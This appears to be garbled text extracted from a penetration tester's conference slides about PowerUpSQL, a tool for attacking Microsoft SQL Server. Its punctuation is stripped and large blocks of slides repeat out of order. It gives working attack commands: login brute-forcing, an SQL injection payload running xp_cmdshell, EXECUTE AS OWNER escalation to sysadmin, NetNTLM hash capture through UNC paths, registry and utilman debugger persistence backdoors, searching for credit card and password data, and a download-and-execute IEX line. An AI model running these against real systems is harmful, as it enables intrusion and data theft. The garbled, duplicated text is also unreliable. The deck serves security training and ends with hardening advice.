DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
PowerUpSQL Overview Functions
Primary Attack Functions Invoke-SQLDumpInfo Invoke-SQLAudit Invoke-SQLEscalatePriv Invoke-SQLOsCmd
httpsgithubcomNetSPIPowerUpSQLwikiCurrently about 60 Functions
PowerUpSQL Overview Where can I get it
GithubhttpsgithubcomnetspiPowerUpSQL
PowerShell GalleryhttpswwwpowershellgallerycompackagesPowerUpSQL
PowerUpSQL Overview How do I install it
GithubImport-Module PowerUpSQLpsd1
IEX(New-Object SystemNetWebClient)DownloadString(httpsrawgithubusercontentcomNetSPIPowerUpSQLmasterPowerUpSQLps1)
Execution policy work aroundshttpsblognetspicom15-ways-to-bypass-the-powershell-execution-policy
PowerShell GalleryInstall-Module -Name PowerUpSQL
SQL ServerBasics
SQL Server BasicsWhat is SQL Server
A database platform An application A set of Windows services Each instance has its own set of
services
SQL Server Basics Account TypesAccount Types
Windows Accountso Used to logino Mapped to SQL Server login
SQL Server Loginso Used to logino Mapped to database account
Database Userso Used to access databases
SQL Server Basics Common RolesImportant SQL Server Roles
Sysadmin role Database administrator account Think of it as the ldquoAdministratorsrdquo Windows group
but in SQL Server
Public role Only provides CONNECT permission Think of it as the ldquoEveryonerdquo Windows group but
in SQL Server
Finding SQL Servers
Find SQL Servers TechniquesAttacker Perspective Attack Technique
Unauthenticated List from file TCP port scan UDP port scan UDP broadcast Azure DNS dictionary attack (xdatabaseswindowsnet) Azure DNS lookup via public resources
Local User Services Registry entries
Domain User Service Principal Names Azure Portal PowerShell Modules
Find SQL Servers PowerUpSQLAttacker Perspective PowerUpSQL Function
Unauthenticated Get-SQLInstanceFile
Unauthenticated Get-SQLInstanceUDPScan
Local User Get-SQLInstanceLocal
Domain User Get-SQLInstanceDomain
Blog httpsblognetspicomblindly-discover-sql-server-instances-powerupsql
EscalatingPrivileges
Unauthenticated Domain User to SQL Login
Testing Login Access TechniquesWhat credentials can I use to log into discovered SQL Servers
Attacker Perspective Attack Technique
Unauthenticated Dictionary attacks using common user names and passwords
Unauthenticated Default passwords based on the SQL Server instance names
Local Windows or ADS Domain Account
Attempt to login using the current account
Testing Login Access PowerUpSQL CMDsWhat PowerUpSQL functions can I use to test for successful logins
Attack Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Get-SQLServerLoginDefaultPw
Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Testing Login Access PowerUpSQL CMDs
Testing Login Access Login CMD Examples
Attacker Perspective
Command Example
Unauthenticated Get-SQLInstanceUDPScan | Get-SQLConnectionTestThreaded -Verbose -Threads 15 -Username testuser -Password testpass
Local User Get-SQLInstanceLocal | Get-SQLConnectionTestThreaded -Verbose
Domain User Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
AlternativeDomain User
runas noprofile netonly userdomainuser PowerShellexe
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
Testing Login Access Reusing Result Lists
Process Command Example
Enumerate Accessible Servers
$Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object $_Status ndashlike ldquoAccessiblerdquo
Get server information $Acessible | Get-SQLServerInfo -Verbose
Get database list $Acessible | Get-SQLDatabase -Verbose
Perform audit $Acessible | Invoke-SQLAudit -Verbose
Do I have to rerun instance discovery every time I want to run a command No
Testing Login Access Domain User Access
DEMO
Testing Login Access Demo
DEMO
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
EscalatingPrivileges
SQL Login to SysAdmin
Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip
Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts
Technique PowerUpSQL Function
Blind Login Enumeration+
Dictionary Attack =
Super Cool
Invoke-SQLAuditWeakLoginPw
bull Enumerate all SQL Server logins with the Public role
bull Enumerate all domain accounts with the Public role
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak Passwords
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
Domain of SQL Server
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
Full RID of Domain Admins
group
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
6 Increment and repeat
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges DEMO
DEMOGet-SQLFuzzServerLogin
Invoke-SQLAuditWeakLoginPw
Get-SQLFuzzDomainAccount
Escalating Privileges Impersonation1 Impersonate Privilege
a Server EXECUTE AS LOGIN
b Database EXECUTE AS USER
2 Stored Procedure and Trigger Creation Injection Issues
a EXECUTE AS OWNER
b Signed with cert login
3 Automatic Execution of Stored Procedures
4 Agent Jobs
5 xp_cmdshell proxy acount
6 Create Databse Link to File or Server
7 Import Install Custom Assemblies
8 Ad-Hoc Queries
9 Shared Service Accounts
10 Database Links
11 UNC Path Injection
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Prosbull Execute queriescommands in another user
context
Consbull Requires database to be configured as trustworthy
for OS command executionbull Commands and queries are not limited in any way
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
PowerUpSQL Overview Where can I get it
GithubhttpsgithubcomnetspiPowerUpSQL
PowerShell GalleryhttpswwwpowershellgallerycompackagesPowerUpSQL
PowerUpSQL Overview How do I install it
GithubImport-Module PowerUpSQLpsd1
IEX(New-Object SystemNetWebClient)DownloadString(httpsrawgithubusercontentcomNetSPIPowerUpSQLmasterPowerUpSQLps1)
Execution policy work aroundshttpsblognetspicom15-ways-to-bypass-the-powershell-execution-policy
PowerShell GalleryInstall-Module -Name PowerUpSQL
SQL ServerBasics
SQL Server BasicsWhat is SQL Server
A database platform An application A set of Windows services Each instance has its own set of
services
SQL Server Basics Account TypesAccount Types
Windows Accountso Used to logino Mapped to SQL Server login
SQL Server Loginso Used to logino Mapped to database account
Database Userso Used to access databases
SQL Server Basics Common RolesImportant SQL Server Roles
Sysadmin role Database administrator account Think of it as the ldquoAdministratorsrdquo Windows group
but in SQL Server
Public role Only provides CONNECT permission Think of it as the ldquoEveryonerdquo Windows group but
in SQL Server
Finding SQL Servers
Find SQL Servers TechniquesAttacker Perspective Attack Technique
Unauthenticated List from file TCP port scan UDP port scan UDP broadcast Azure DNS dictionary attack (xdatabaseswindowsnet) Azure DNS lookup via public resources
Local User Services Registry entries
Domain User Service Principal Names Azure Portal PowerShell Modules
Find SQL Servers PowerUpSQLAttacker Perspective PowerUpSQL Function
Unauthenticated Get-SQLInstanceFile
Unauthenticated Get-SQLInstanceUDPScan
Local User Get-SQLInstanceLocal
Domain User Get-SQLInstanceDomain
Blog httpsblognetspicomblindly-discover-sql-server-instances-powerupsql
EscalatingPrivileges
Unauthenticated Domain User to SQL Login
Testing Login Access TechniquesWhat credentials can I use to log into discovered SQL Servers
Attacker Perspective Attack Technique
Unauthenticated Dictionary attacks using common user names and passwords
Unauthenticated Default passwords based on the SQL Server instance names
Local Windows or ADS Domain Account
Attempt to login using the current account
Testing Login Access PowerUpSQL CMDsWhat PowerUpSQL functions can I use to test for successful logins
Attack Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Get-SQLServerLoginDefaultPw
Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Testing Login Access PowerUpSQL CMDs
Testing Login Access Login CMD Examples
Attacker Perspective
Command Example
Unauthenticated Get-SQLInstanceUDPScan | Get-SQLConnectionTestThreaded -Verbose -Threads 15 -Username testuser -Password testpass
Local User Get-SQLInstanceLocal | Get-SQLConnectionTestThreaded -Verbose
Domain User Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
